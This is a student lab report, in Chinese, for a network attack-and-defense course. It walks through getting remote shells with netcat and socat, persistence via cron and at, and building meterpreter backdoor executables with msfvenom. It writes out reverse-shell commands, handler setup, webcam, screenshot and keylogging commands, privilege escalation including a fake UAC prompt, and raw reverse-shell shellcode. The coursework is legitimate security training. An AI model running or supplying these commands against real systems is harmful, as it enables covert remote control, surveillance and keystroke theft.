20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告
这是一个目录
- 20202411 2022-2023-2 《网络与系统攻防技术》实验二实验报告
- 1.实验内容
- 2.1-回答几个小问题
- 3.实验过程
- 3.0-来好多好多台阿里云服务器
- 3.1-使用netcat获取主机操作Shell,cron启动某项任务
- 3.2-使用socat获取主机操作Shell, 任务计划启动
- 3.3-使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 3.4-使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 3.5-使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 4.问题及解决方案
- 5.学习感悟、思考等
- 参考资料
1.实验内容
通过netcat进行不同主机间的获取Shell操作,并通过获取到的Shell进行设定cron启动任务。此外,通过netcat的高级版——socat进行主机间的获取Shell操作,设定任务启动。学习使用msfvenom进行后门创建,生成可执行文件并通过nc进行主机间的文件传输,通过执行生成的文件获取主机Shell,还可以通过msfvenom生成可执行文件去获取目标主机的音频,摄像头,键盘输入,可以去尝试提升权限。最后结合第一次实验的BOF,将生成的shellcode注入到pwn中进行反弹连接Shell。
注意此次的分割线,程序猿现实
2.1-回答几个小问题
(Q1)例举你能想到的一个后门进入到你系统中的可能方式?
(A1)黑客可以通过信息系统设置后门,也可以厂家才生产过程中故意设置或者忘记删除的后门,或者是其他系统的远程服务登入安装后门。
(Q2)例举你知道的后门如何启动起来(win及linux)的方式?
(A2)在Windows下,可以通过用户点击exe可执行程序进行启动,也可以通过任务计划或者触发器进行启动。在Linux中,可以设置定时任务或者shellcode注入的方式进行后门启动。
(Q3)Meterpreter有哪些给你映像深刻的功能?
(A3)MSF强大之处在于能够集成多种渗透工具,直接生成多种可执行程序,并且支持多种系统,多种语言,不同需求,不同类型的可执行文件生成。
(Q4)如何发现自己有系统有没有被安装后门?
(A4)可以去检查系统进程中是否有可疑进程和可疑服务,还可以查看可疑的系统启动项,查看是否有可疑的网络连接,检查系统日志中是否有可疑的记录。
3.实验过程
3.0-来好多好多台阿里云服务器
算是知道阿里云的强大后,这一次我结合本地Parallels Desktop虚拟机中的kali和阿里云服务器上的Ubuntu进行实验。因为本地电脑为MacBook Air M2,是基于ARM架构的,所以Parallels Desktop中也只能运行Windows on ARM,所以导致基于x86的netcat和socat无法直接运行。这就导致了我整个实验的进度远超预期。我也尝试通过阿里云的Windows Server 2012进行实验,但是卡的是真不成样子而且Server版的传文件不方便,下载东西也不方便。也在CentOS里用Docker搭建了kali但是连apt什么的都没有,vi都用不了。服了。不知道问什么本地kali想安装veil-evasion显示找不到。最后没办法,花了好久的时间在阿里云Ubuntu上安装了Metasploit,才完成本次实验,云服务器配置为32位Ubuntu16.04,1C1M。
3.1-使用netcat获取主机操作Shell,cron启动某项任务
遇到不会的首先想到的就是看看之前有没有人做过,然后就理所当然地被上一届的实验报告带错了方向。理解正确对方式之后,要查看两台主机各自的IP地址,在监听端通过nc -l -p 3389
进行netcat的监听,使用3389端口的原因在上一篇博客里已说。在请求段通过nc 123.57.7.216 3389 -e /bin/sh
进行连接请求,并允许监听端使用请求端的Shell。这里采用了一点超常规的手段,就是直接从监听端通过账户和口令的方式获取请求端的root权限。在请求端输入lecho "1 * * * * echo "20202411" > /home/chenshuhuan/20202411.txt" > /var/spool/cron/crontabs/root
将定时命令写入,即每隔一分钟在20202411.txt文件中写入20202411。过一小会儿打开txt文件可以看到已经有内容写入了。
3.2-使用socat获取主机操作Shell, 任务计划启动
因为Windows on ARM上无法直接运行x86的netcat和socat,所以这一部分的Windows计划启动部分我改成了在Linux上进行计划启动。那么这又和前一个任务的cron有什么区别的。这里的计划启动可以是设定具体时间。具体语法是at now+3minutes
,这是说从当前时间算起3分钟后启动任务。在Shell中出现at> 后输入socat TCP4-LISTEN:3389 exec: /bin/sh,pty,stderr <EOT>
,具体是采用TCP/IPv4对3389端口进行监听,可以运行Shell,最后的是结束符。而请求端通过socat - tcp:123.57.16.92:3389
进行监听,在任务成功创建3分钟后请求端连接上监听端,并且能够运行请求端的Shell。
3.3-使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
因为kali中我没有找到可以使用摄像头的程序,所以我最开始是打算通过nmap进行局域网扫描并进行ARP欺骗,这里已经可以实现局域网内的监听,但是最大的问题也出现在这里。我的Windows是ARM版本的,并不能够通过metasploit生成的Windows可执行文件去进行渗透,所以我又选择了云服务器的Ubuntu进行装载后门,但是出现了一个问题,本地kali采用DHCP与外网相连,本地可以访问具有公网IP的云服务器,但是云服务器不知道本地的IP。刚开始我尝试了使用socket去获取本地IP。代码如下:
#请求端
import socket
client = socket.socket(family=socket.AF_INET,type=socket.SOCK_STREAM)
client.connect(('101.200.186.56',8080))
client.send('Hello'.encode('utf-8'))
client.close()#监听端
import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',8080))
server.listen(5)
conn,ip_addr = server.accept()
res = conn.recv(1024)
print(ip_addr)
print(res.decode('utf-8'))
conn.close()
server.close()
可以看到kali请求端的IP:Port是123.127.3.97:58964,端口在这里意义不大,但是通过这个IP地址并不能够成功通过nc连接。所以还得换个方法。在这里也尝试过在云服务器中安装CentOS,然后在CentOS中搭建kali,然后用kali去连接另一台Ubuntu,但是这kali里面什么都没有,apt没有,vi没有。敲一个命令一个找不到命令。算了。
然后还尝试在本地的ARM Ubuntu上当作靶机,但是metasploit的payload中只有armbe和armle,查阅之后知道了这ARM是分大端存储和小端存储的,所以采用以下程序判断,结果我这点Ubuntu是小端存储。
代码参考自夜流冰《编程参考- 如何判断当前系统架构是大端还是小端》
#include <stdio.h>typedef struct { int a; int b;int c;
} Foo_Type;int main(){ Foo_Type bar; bar.a = 1; bar.b = 2; bar.c = 3; int * p = (int*); printf("%d %d %d\n", p[0],p[1],p[2]);bar.a = 0x12345678;printf("0x%X\n", bar.a);unsigned char * pc = (unsigned char*); printf("0x%X 0x%X 0x%X 0x%X\n", pc[0], pc[1], pc[2], pc[3]); return 0;
}
所以我采用了linux/armle/meterpreter/reverse_tcp作为payload,通过metasploit生成elf文件,问题在这里,Linux中不按照后缀名作为启动方式,所以elf方式我没弄懂到底要如何启动。所以还得换方法。
想在本地kali上安装veil-evasion进行metasploit的替换,但是apt显示找不到veil。后来我甚至还到Amazon AWS上去看了看预装kali的云服务器,但是不用魔法不用sms大陆并没有办法访问。有用的流量要留给BingChat和ChatGPT。所以最后的最后,我还是在阿里云上另外租了一台服务器,Ubuntu系统,在里面安装了metasploit。通过metasploit生成x86 Windows下的可执行文件。可以通过python/meterpreter/reverse_tcp当作payload,生成的python文件如下:
这样就成功完成获取主机Shell的任务。
3.4-使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
我想试试通过上述python文件继续执行获取摄像头,音频等信息,但是可以python文件并不支持,所以改变payload,通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f exe > 20202411_backdoor.exe
生成exe可执行文件,并分发给使用Intel芯片Windows的同学,在监听端输入msfconsole
进入msf终端,use exploit/multi/handler
调用监听模块,set payload windows/meterpreter/reverse_tcp
设置与payload一样,set LHOST=123.57.7.216
为监听IP,但因为不是在局域网内,所以用公网IP并没有用,系统会自动更改为0.0.0.0,对所有连接进行监听,set LPORT 3389
设置监听端口,exploit
开始监听。在成功连接之后,输入webcam_snap
进行摄像头拍摄,输入screenshot
进行屏幕截屏,输入keyscan_start
开始监听键盘。因为在服务器端没有浏览器所以并不能看到摄像头的录像。通过getuid
和getsystem
可以进行提权。
因为涉及到同学隐私,所以照片进行了部分遮挡。
3.5-使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
通过msfvenom -p linux/x86/shell_reverse_tcp LHOST=123.57.7.216 LPORT=3389 -f c
可以直接生成shellcode,具体代码如下
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7b\x39\x07\xd8\x68\x02\x00\x0d\x3d\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80
通过perl将这段shellcode重定向进入input_shell2411中,再通过(cat input_shel12411; cat) | ./pwn2
进行shellcode注入。我是真的服了这隐蔽性是真好,被监听者不知道被监听,连监听者也不知道成功监听,Shell中一点变化都没有,我还以为我做失败了。
4.问题及解决方案
- 问题1:cron的默认编辑器nano是真难用还不知道如何改成vi
- 问题1解决方案:在/var/spool/cron目录下输入
export EDITOR=vi
,更改默认编辑器。有一说一这nano是真难用。 - 问题2:无法进行提权
- 问题2解决方案:采用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。
- 问题3:没有ARM架构的Windows的payload
- 问题3解决方案:我服了真的,就是这一个原因间接引出其他80%对问题,具体解决方法我觉得与其放在这,不如放在下面的感悟里。
- 问题4:对Linux下计划任务不熟悉
- 问题4解决方案:可以通过apt安装at这个包,通过
at [选项][时间]
的方式进行设置计划任务,到点自动启动。 - 问题5:Ubuntu安装metasploit
- 问题5解决方案:通过下载从metasploit网站上下载,并到服务器上去
sudo gdebi metasploit-framework_6.3.9+20230321102719_1rapid7-1_amd64.deb
进行安装,在这里不要去通过git,gem和bundle进行安装,第一需要多安装rubygem,其次版本不对就一直卡着。
5.学习感悟、思考等
只能说如果有保姆级教程跟着一步一步做,那么其实没有什么实验会是难的,但是当你找到的资料你用不上的时候,这个时候才最要命,因为老师发的netcat和socat的压缩包都是x86的,我尝试了在Windows on ARM上运行,但是没有响应,所以就无法用Windows做这次的实验,这就对整个实验造成了极大的干扰。所以所以接下来就是遇到问题解决问题的路径。如果没有用Windows的计划任务,那么如何代替?LInux下的at结合crontab可以解决。没有x86的Windows如何进行MSF生成后门应用?将攻击机安装在云端,对同学的x86Windows进行渗透,如何对Windows on ARM进行渗透?暂时没找到办法,换个思路,如何对Linux ARM渗透?通过MSF生成Linux的对应文件,如何判断MSF的armbe和armle?编写程序判断Linux ARM采用小端存储。能否用本地kali作为攻击机而服务器作为靶机?本地kali是虚拟机并且采用DHCP方式,服务器无法主动连接,换个思路,在云服务器上安装两台,一台当攻击机,一台当靶机。本地kali无法安装veil?本地不行就在云端用其他方式。CentOS的Docker搭建的kali什么都没有?Docker算是用不明白了,直接在Ubuntu中安装metasploit使用好了。
参考资料
- Cron定时任务
- 如何修改 crontab -e 的默认编辑器
- 使用socat反向Shell多台机器
- Linux-定时任务at命令
- 讲解一下Linux 中的 Socat 命令
- kali局域网嗅探
- Centos安装Docker的详细安装步骤
- Kali之——关闭防火墙
- ubuntu gem安装
- Ubuntu安装metasploit-framework
- metasploit
- Ubuntu安装msf
- ubuntu安装metasploit framwork
- 在Ubuntu中安装MSF渗透工具
- Msfvenom介绍及利用
- Metasploit Framework(MSF)的使用
- Linux | systemctl & firewalld
- msfvenom生成后门程序及利用
- docker安装kali
- Centos安装Docker的详细安装步骤
- The following signatures were invalid:EXPKEYSIG ED444FF07D8D0BF6 KaliLinuxRepository<devel@kali.org>
- 如何在kali上安装veil?
- Veil-Evasion安装及使用
- Kali Linux 网络渗透测试实践指南:能绕过杀毒软件的Veil-Evasion安装
- veil-evasion介绍
- 0x13_MAL_使用netcat进行反弹链接的shellcode.md
- 编程参考- 如何判断当前系统架构是大端还是小端
- Metasploit(MSF)基础超级详细版
- Command shell session 2 closed
- Linux bashrc 小技巧丨所有命令都提示command not found,环境变量异常修复方案
- MAL_后门进阶应用Meterprter
- Metasploit入门用法(主动攻击)
- msfvenom常见的使用命令
- Ubuntu系统下Linux GCC常用命令和ELF文件格式
- Linux ELF 可执行链接格式学习
- Linux 中的 netcat 网络工具简介
还有些参考可能看了就关了,Safari,Firefox,Edge,Chrome开着几十个网页,电脑买来就没这么卡过。